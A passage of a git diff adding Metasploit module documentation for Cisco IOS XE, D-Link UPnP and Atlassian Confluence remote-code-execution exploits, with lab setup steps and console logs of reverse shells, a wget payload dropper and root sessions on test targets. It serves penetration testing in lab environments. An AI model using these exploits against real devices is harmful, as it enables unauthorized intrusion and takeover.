17.11.1, 17.11.1a, 17.12.1, 17.12.1a, +17.11.99SW + +## Testing +This module was tested against IOS XE version 16.12.3 and version 17.3.2. To test this module you will need to either: + +* Acquire a hardware device running one of the vulnerable firmware versions listed above. + +Or + +* Setup a virtualized environment. + * A [CSR1000V](https://www.cisco.com/c/en/us/products/routers/cloud-services-router-1000v-series/index.html) device + can be virtualized using [GNS3](https://www.gns3.com/) and VMWare Workstation/Player. Follow the + [Windows setup guide](https://docs.gns3.com/docs/getting-started/installation/windows) to install GNS3 and the + [topology guide](https://docs.gns3.com/docs/getting-started/your-first-gns3-topology) to learn how GNS3 can be used. + * A suitable firmware image for testing would be `csr1000v-universalk9.16.12.03-serial.qcow2`. + * When setting up GNS3, run the `GNS3 2.2.43` Virtual Machine for deploying QEMU based devices. + * Create a new CSR1000v instance as a QEMU device. + * The CSR1000v device's first ethernet adapter `Gi1` should be connected to a Cloud device, whose adapter was bridged + to the physical adapter on the host machine, allowing an IP address to be assigned via DHCP, and allowing the Web UI to + be accessible to a remote attacker. + * When the virtual router has booted up, you must enable the vulnerable WebUI component. From a serial console on + the device: + ``` + Router>enable + Router#config + Router(config)#ip http server + router(config)#ip http secure-server + router(config)#ip http authentication local + router(config)#username admin privilege 15 secret qwerty + router(config)#exit + Router#copy running-config startup-config + ``` + * You should now be able to access the WebUI via https://TARGET_IP_ADDRESS/webui and login with admin:qwerty + +## Verification Steps +1. Start msfconsole +2. `use exploit/linux/misc/cisco_ios_xe_rce` +3. `set RHOST ` +4. `set target 0` +5. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp` +6. `check` +7. `exploit` + +## Options + +### CISCO_VRF_NAME +We allow a user to specify the VRF name to route traffic for the payloads network transport. The default of +'global' should work, but exposing this as an option will allow for usage in more complex network setups. +A user could leverage the auxiliary module auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198 to +inspect a devices configuration to see an appropriate VRF to use. + +### CISCO_CMD_TIMEOUT +We may need to try and execute a command a second time if it fails the first time. This option is the maximum +number of seconds to keep trying. + +## Scenarios +To support a broad set of available payloads, we support both a Linux target and a Unix Target (IOS XE is Linux based). +This allows for native Linux payloads to be used, but also payloads like Python meterpreter or a Bash shell. + +### Linux Command (IOS XE 17.3.2) + +``` +msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOST 192.168.86.58 +RHOST => 192.168.86.58 +msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 0 +target => 0 +msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +[+] 192.168.86.58:443 - The target is vulnerable. Cisco IOS XE Software, Version 17.03.02 +msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options + +Module options (exploit/linux/misc/cisco_ios_xe_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command. + CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work. + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.58 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME dDrTvTlqxwoK no Name to use on remote system when storing payload; cannot contain spaces. + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces. + LHOST 192.168.86.42 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02 +[*] Created privilege 15 user 'sqVXixoV' with password 'ZiPbsXBu' +[*] Removing user 'sqVXixoV' +[*] Sending stage (3045380 bytes) to 192.168.86.58 +[*] Meterpreter session 6 opened (192.168.86.42:4444 -> 192.168.86.58:64970) at 2023-11-06 17:01:06 +0000 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : router +OS : (Linux 4.19.106) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +``` +msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp +payload => cmd/linux/http/x64/shell/reverse_tcp +msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02 +[*] Created privilege 15 user 'pfGnCwkI' with password 'YhTwxBLK' +[*] Removing user 'pfGnCwkI' +[*] Sending stage (38 bytes) to 192.168.86.58 +[*] Command shell session 7 opened (192.168.86.42:4444 -> 192.168.86.58:64994) at 2023-11-06 17:01:44 +0000 + +id +uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0 +uname -a +Linux router 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux +exit +[*] 192.168.86.58 - Command shell session 7 closed. +msf6 exploit(linux/misc/cisco_ios_xe_rce) > +``` + +### Linux Command (IOS XE 16.12.3) + +``` +msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options + +Module options (exploit/linux/misc/cisco_ios_xe_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command. + CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work. + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.59 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME ytfnShmfT no Name to use on remote system when storing payload; cannot contain spaces. + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces. + LHOST 192.168.86.42 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/misc/cisco_ios_xe_rce) > check +[+] 192.168.86.59:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03 +msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03 +[*] Created privilege 15 user 'lwWQIDaS' with password 'dADCGJpS' +[*] Removing user 'lwWQIDaS' +[*] Sending stage (3045380 bytes) to 192.168.86.59 +[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.59:56554) at 2023-11-06 16:41:06 +0000 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : router +OS : (Linux 4.19.64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +``` +msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 0 +target => 0 +msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp +payload => cmd/linux/http/x64/shell/reverse_tcp +msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03 +[*] Created privilege 15 user 'NjAmOioM' with password 'tOHjWGyw' +[*] Removing user 'NjAmOioM' +[*] Sending stage (38 bytes) to 192.168.86.59 +[*] Command shell session 5 opened (192.168.86.42:4444 -> 192.168.86.59:56598) at 2023-11-06 16:44:48 +0000 + +id +uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0 +uname -a +Linux router 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux +exit +[*] 192.168.86.59 - Command shell session 5 closed. +msf6 exploit(linux/misc/cisco_ios_xe_rce) > +``` + +### Unix Target (IOS XE 17.3.2) + +``` +msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1 +target => 1 +msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp +payload => cmd/unix/python/meterpreter/reverse_tcp +msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02 +[*] Created privilege 15 user 'JAonVuJS' with password 'vYecWhWk' +[*] Removing user 'JAonVuJS' +[*] Sending stage (24772 bytes) to 192.168.86.58 +[*] Meterpreter session 8 opened (192.168.86.42:4444 -> 192.168.86.58:65016) at 2023-11-06 17:03:34 +0000 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : router +OS : Linux 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 +Architecture : x64 +Meterpreter : python/linux +meterpreter > +``` + +``` +msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/reverse_bash +payload => cmd/unix/reverse_bash +msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02 +[*] Created privilege 15 user 'TVtEhbdd' with password 'NtRvujcZ' +[*] Removing user 'TVtEhbdd' +[*] Command shell session 9 opened (192.168.86.42:4444 -> 192.168.86.58:65036) at 2023-11-06 17:04:28 +0000 + +id +uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0 +uname -a +Linux router 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux +exit +[*] 192.168.86.58 - Command shell session 9 closed. +msf6 exploit(linux/misc/cisco_ios_xe_rce) > +``` + +### Unix Target (IOS XE 16.12.3) + +``` +msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1 +target => 1 +msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp +payload => cmd/unix/python/meterpreter/reverse_tcp +msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options + +Module options (exploit/linux/misc/cisco_ios_xe_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command. + CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work. + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.59 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (cmd/unix/python/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.86.42 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 1 Unix Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/misc/cisco_ios_xe_rce) > check +[+] 192.168.86.59:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03 +msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03 +[*] Created privilege 15 user 'pJaWZBTl' with password 'KlcuLPaJ' +[*] Removing user 'pJaWZBTl' +[*] Sending stage (24772 bytes) to 192.168.86.59 +[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.59:56572) at 2023-11-06 16:42:36 +0000 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : router +OS : Linux 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 +Architecture : x64 +Meterpreter : python/linux +meterpreter > +``` + +``` +msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/reverse_bash +payload => cmd/unix/reverse_bash +msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03 +[*] Created privilege 15 user 'aZIYJugi' with password 'RziZqysr' +[*] Removing user 'aZIYJugi' +[*] Command shell session 4 opened (192.168.86.42:4444 -> 192.168.86.59:56584) at 2023-11-06 16:43:30 +0000 + +id +uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0 +uname -a +Linux router 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux +exit +[*] 192.168.86.59 - Command shell session 4 closed. +msf6 exploit(linux/misc/cisco_ios_xe_rce) > +``` diff --git a/documentation/modules/exploit/linux/upnp/dlink_upnp_msearch_exec.md b/documentation/modules/exploit/linux/upnp/dlink_upnp_msearch_exec.md new file mode 100644 index 0000000000..0046bc7688 --- /dev/null +++ b/documentation/modules/exploit/linux/upnp/dlink_upnp_msearch_exec.md @@ -0,0 +1,267 @@ +## Vulnerable Application +This vulnerability is based on an old theme that was discovered in 2013 by `Zach Cutlip` and explained in +his blog [The Shadow File](https://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html). +It is based on the infamous `UPnP` attack where a command injection vulnerability exists in multiple D-Link network products, +allowing an attacker to inject arbitrary command to the `UPnP` via a crafted M-SEARCH packet. +Universal Plug and Play (UPnP), by default is enabled in most D-Link devices, on the port 1900 and an attacker can perform +a remote command execution by injecting the payload into the `Search Target` (ST) field of the SSDP M-SEARCH discover packet. + +## Installation +Ideally, to test this module, you would need a vulnerable D-Link device. +However, by downloading the firmware and install and use `FirmAE` to emulate the router, +we can simulate the router and test the vulnerable endpoint. + +This module has been tested on: +- [ ] FirmAE running on Kali Linux 2023.3 +* D-Link Router model DIR-300 revisions Ax with firmware v1.06 or older; +* D-Link Router model DIR-300 revisions Bx with firmware v2.15 or older; +* D-Link Router model DIR-600 revisions Bx with firmware v2.18 or older; +* D-Link Router model DIR-645 revisions Ax with firmware v1.05 or older; +* D-Link Router model DIR-815 revisions Bx with firmware v1.04 or older; +* D-Link Router model DIR-816L revisions Bx with firmware v2.06 or older; +* D-Link Router model DIR-817LW revisions Ax with firmware v1.04b01_hotfix or older; +* D-Link Router model DIR-818LW revisions Bx with firmware v2.05b03_Beta08 or older; +* D-Link Router model DIR-822 revisions Bx with firmware v2.03b01 or older; +* D-Link Router model DIR-822 revisions Cx with firmware v3.12b04 or older; +* D-Link Router model DIR-823 revisions Ax with firmware v1.00b06_Beta or older; +* D-Link Router model DIR-845L revisions Ax with firmware v1.02b05 or older; +* D-Link Router model DIR-860L revisions Ax with firmware v1.12b05 or older; +* D-Link Router model DIR-859 revisions Ax with firmware v1.06b01Beta01 or older; +* D-Link Router model DIR-860L revisions Ax with firmware v1.10b04 or older; +* D-Link Router model DIR-860L revisions Bx with firmware v2.03b03 or older; +* D-Link Router model DIR-865L revisions Ax with firmware v1.07b01 or older; +* D-Link Router model DIR-868L revisions Ax with firmware v1.12b04 or older; +* D-Link Router model DIR-868L revisions Bx with firmware v2.05b02 or older; +* D-Link Router model DIR-869 revisions Ax with firmware v1.03b02Beta02 or older; +* D-Link Router model DIR-880L revisions Ax with firmware v1.08b04 or older; +* D-Link Router model DIR-890L/R revisions Ax with firmware v1.11b01_Beta01 or older; +* D-Link Router model DIR-885L/R revisions Ax with firmware v1.12b05 or older; +* D-Link Router model DIR-895L/R revisions Ax with firmware v1.12b10 or older; +* probably more looking at the scale of impacted devices :-( + +### Installation steps to emulate the router firmware with FirmAE +* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE). +* To emulate the specific firmware that comes with the D-Link devices, `binwalk` might need to be able to handle a sasquatch filesystem. +* Follow installation and compilation steps that you can find [here](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689). +* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware. +* Download the vulnerable firmware from D-Link [here](http://legacyfiles.us.dlink.com/). +* Pick `DIR-865L_REVA_FIRMWARE_1.07.B01.ZIP` for the demonstration. +* Start emulation. +* First run `./init.sh` to initialize and start the Postgress database. +* Start a debug session `./run.sh -d d-link /root/FirmAE/firmwares/DIR-865L_REVA_FIRMWARE_1.07.B01.ZIP` +* This will take a while, but in the end you should see the following... + +```shell +[*] /root/FirmAE/firmwares/DIR-865L_REVA_FIRMWARE_1.07.B01.ZIP emulation start!!! +[*] extract done!!! +[*] get architecture done!!! +mke2fs 1.47.0 (5-Feb-2023) +e2fsck 1.47.0 (5-Feb-2023) +[*] infer network start!!! + +[IID] 25 +[MODE] debug +[+] Network reachable on 192.168.0.1! +[+] Web service on 192.168.0.1 +[+] Run debug! +Creating TAP device tap25_0... +Set 'tap25_0' persistent and owned by uid 0 +Initializing VLAN... +Bringing up TAP device... +Starting emulation of firmware... 192.168.0.1 true true 60.479548271 107.007791943 +/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13 + import telnetlib +[*] firmware - DIR600B6_FW215WWb02 +[*] IP - 192.168.0.1 +[*] connecting to netcat (192.168.0.1:31337) +[+] netcat connected +------------------------------ +| FirmAE Debugger | +------------------------------ +1. connect to socat +2. connect to shell +3. tcpdump +4. run gdbserver +5. file transfer +6. exit +> 2 +Trying 192.168.0.1... +Connected to 192.168.0.1. +Escape character is '^]'. + +/ # uname -a +Linux dlinkrouter 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux +/ # hostname +dlinkrouter +/ # +``` + +* You should now be able to `ping` the network address 192.168.0.1 from your host and +* run a `nmap` command to check the services (HTTP TCP port 80 and UPNP UDP port 1900) + +```shell + # ping 192.168.0.1 +PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data. +64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=8.92 ms +64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=2.38 ms +^C +--- 192.168.0.1 ping statistics --- +2 packets transmitted, 2 received, 0% packet loss, time 1001ms +rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms + # nmap 192.168.0.1 +Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-17 18:33 UTC +Nmap scan report for 192.168.0.1 +Host is up (0.022s latency). +Not shown: 995 closed tcp ports (reset) +PORT STATE SERVICE +53/tcp open domain +80/tcp open http +443/tcp open https +8181/tcp open intermapper +49152/tcp open unknown +MAC Address: 00:DE:FA:1A:01:00 (Unknown) + +Nmap done: 1 IP address (1 host up) scanned in 1.25 seconds + # nmap -sU 192.168.0.1 +Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-17 18:34 UTC +Nmap scan report for 192.168.0.1 +Host is up (0.0019s latency). +Not shown: 993 closed udp ports (port-unreach) +PORT STATE SERVICE +53/udp open domain +67/udp open|filtered dhcps +137/udp open|filtered netbios-ns +1900/udp open|filtered upnp +5353/udp open zeroconf +5355/udp open|filtered llmnr +19541/udp open|filtered jcp +MAC Address: 00:DE:FA:1A:01:00 (Unknown) + +Nmap done: 1 IP address (1 host up) scanned in 1054.98 seconds +``` +You are now ready to test the module using the emulated router hardware on IP address 192.168.0.1. + +## Verification Steps +- [x] Start `msfconsole` +- [x] `use exploit/linux/upnp/dlink_upnp_msearch_exec` +- [x] `set rhosts ` +- [x] `set rport 1900` +- [x] `set http_port 80` +- [x] `set lhost ` +- [x] `set target <0=Unix Command, 1=Linux Dropper>` +- [x] `exploit` + +you should get a `shell` or `Meterpreter` + +```shell +msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > options + +Module options (exploit/linux/upnp/dlink_upnp_msearch_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 1900 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + HTTP_PORT 80 yes Universal Plug and Play (UPnP) UDP port + URIPATH no The URI to use for this exploit (default is random) + URN urn:device:1 no Set URN payload + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + + +Payload options (cmd/unix/bind_busybox_telnetd): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LOGIN_CMD /bin/sh yes Command telnetd will execute on connect + LPORT 4444 yes The listen port + RHOST 192.168.0.1 no The target address + + +Exploit target: + + Id Name + -- ---- + 0 Unix Command + + +View the full module info with the info, or info -d command. +``` + +## Options +### HTTP_PORT +Port setting where the HTTP and SOAP service is running, typically port 80. +This is used to discover the d-link hardware and version information by scraping the web or soap response. + +## Scenarios +### FirmAE D-Link DIR-865L Router Emulation Unix Command - cmd/unix/bind_busybox_telnetd +```shell +msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > check + +[*] Checking if 192.168.0.1:1900 can be exploited. +[*] 192.168.0.1:1900 - The target appears to be vulnerable. Product info: DIR-865L|1.07|A1|mipsle +msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > exploit + +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.0.1:1900 can be exploited. +[+] The target appears to be vulnerable. Product info: DIR-865L|1.07|A1|mipsle +[*] Executing Unix Command for cmd/unix/bind_busybox_telnetd +[*] Started bind TCP handler against 192.168.0.1:4444 +[*] Command shell session 1 opened (192.168.0.2:42349 -> 192.168.0.1:4444) at 2023-10-17 18:35:36 +0000 + +Shell Banner: +_!_ + + # uname -a +uname -a +Linux dlinkrouter 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux + # hostname +hostname +dlinkrouter + # +``` +### FirmAE D-Link DIR-865L Router Emulation Linux Dropper - linux/mipsle/meterpreter_reverse_tcp +```shell +msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > set target 1 +target => 1 +msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > set payload linux/mipsle/meterpreter_reverse_tcp +payload => linux/mipsle/meterpreter_reverse_tcp +msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > set lhost 192.168.0.2 +lhost => 192.168.0.2 +msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > exploit + +[*] Started reverse TCP handler on 192.168.0.2:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.0.1:1900 can be exploited. +[+] The target appears to be vulnerable. Product info: DIR-865L|1.07|A1|mipsle +[*] Executing Linux Dropper for linux/mipsle/meterpreter_reverse_tcp +[*] Using URL: http://192.168.0.2:8080/5W7O47FX +[*] Command Stager progress - 100.00% done (112/112 bytes) +[*] Client 192.168.0.1 (Wget) requested /5W7O47FX +[*] Sending payload to 192.168.0.1 (Wget) +[*] Meterpreter session 2 opened (192.168.0.2:4444 -> 192.168.0.1:59600) at 2023-10-17 18:45:12 +0000 +[*] Server stopped. + +meterpreter > sysinfo +Computer : 192.168.0.1 +OS : (Linux 4.1.17+) +Architecture : mips +BuildTuple : mipsel-linux-muslsf +Meterpreter : mipsle/linux +meterpreter > getuid +Server username: root +meterpreter > +``` +## Limitations +Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads when using the Linux Dropper target. +Some D-Link devices do not have the `wget` command so configure `echo` as cmd-stager flavor with the command `set CMDSTAGER::FLAVOR echo`. diff --git a/documentation/modules/exploit/multi/http/atlassian_confluence_unauth_backup.md b/documentation/modules/exploit/multi/http/atlassian_confluence_unauth_backup.md new file mode 100644 index 0000000000..764251322f --- /dev/null +++ b/documentation/modules/exploit/multi/http/atlassian_confluence_unauth_backup.md @@ -0,0 +1,108 @@ +## Vulnerable Application + +This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a +Confluence instance administrator account. Using this account, an attacker can then perform all +administrative actions that are available to Confluence instance administrator. This module uses the +administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code +execution on the target in the context of the of the user running the confluence server. + +### Setup +Download and install a [vulnerable version of Atlassian Confluence](https://www.atlassian.com/software/confluence/download.). +By default the server will listen for HTTP connections on port 8090. This exploit module was tested against Confluence +8.5.1 running on Windows Server 2022. + +After running the installer the setup wizard will ask for a trial license. An Atlassian account is free and required +to obtain the trial licence. A database and a will also be required to run Confluence. Download and install +[PostgreSQL](https://www.enterprisedb.com/downloads/postgres-postgresql-downloads). The setup Wizard will ask for DB +credentials, the default PostgreSQL database can be used. + +## Verification Steps + +1. Start msfconsole +1. Do: `use atlassian_confluence_unauth_backup` +1. Set the `RHOST` +1. Run the module +1. Receive a Meterpreter session in the context of the user running the Confluence application. + +## Options + +### CONFLUENCE_TARGET_ENDPOINT + +This is the endpoint used to trigger the vulnerability, and must be reachable by an un authenticated HTTP(S) POST +request. The three vulnerable endpoints outlined by Atlassian in the advisory for this vulnerability are as follows: + - /json/setup-restore.action + - /json/setup-restore-local.action + - /json/setup-restore-progress.action' + +### CONFLUENCE_PLUGIN_TIMEOUT + +The exploit will install a malicious plugin into the Confluence server. Plugin installation is performed asynchronously +and we must poll the server to find out when installation has completed. This option governs the maximum amount +of time to wait for installation to complete. The timeout value is in seconds and by default this option is set to `30`. + +## Scenarios +### Windows Server 2022 running Atlassian Confluence 8.5.1 +``` +msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > set rhost 172.16.199.134 +rhost => 172.16.199.134 +msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > set verbose true +verbose => true +msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > options + +Module options (exploit/multi/http/atlassian_confluence_unauth_backup): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CONFLUENCE_PLUGIN_TIMEOUT 30 yes The timeout (in seconds) to wait when installing a plugin + CONFLUENCE_TARGET_ENDPOINT /json/setup-restore.action yes The endpoint used to trigger the vulnerability. (Accepted: /json/setup-restore.action, /json/setup-restore-local.action, /json/setup-restore-progress.action) + NEW_PASSWORD LELTtnOG yes Password to be used when creating a new user with admin privileges + NEW_USERNAME candace.leffler yes Username to be used when creating a new user with admin privileges + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 172.16.199.134 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8090 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (java/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 172.16.199.1 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Java + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > run + +[*] Started reverse TCP handler on 172.16.199.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Exploitable version of Confluence: 8.5.1 +[*] Setting credentials: candace.leffler:LELTtnOG +[+] Exploit Success! Login Using 'candace.leffler :: LELTtnOG' +[*] Generating payload plugin +[*] Uploading payload plugin +[*] Triggering payload plugin +[*] Deleting plugin... +[*] Sending stage (57692 bytes) to 172.16.199.134 +[*] Meterpreter session 6 opened (172.16.199.1:4444 -> 172.16.199.134:50095) at 2023-12-11 18:52:33 -0500 + +meterpreter > getuid +Server username: WIN-2EEL7BRDUD8$ +meterpreter > sysinfo +Computer : WIN-2EEL7BRDUD8 +OS : Windows Server 2022 10.0 (amd64) +Architecture : x64 +System Language : en_US +Meterpreter : java/windows +meterpreter > +``` diff --git a/documentation/modules/exploit/multi/http/wp_royal_elementor_addons_rce.md b/documentation/modules/exploit/multi/http/wp_royal_elementor_addons_rce.md 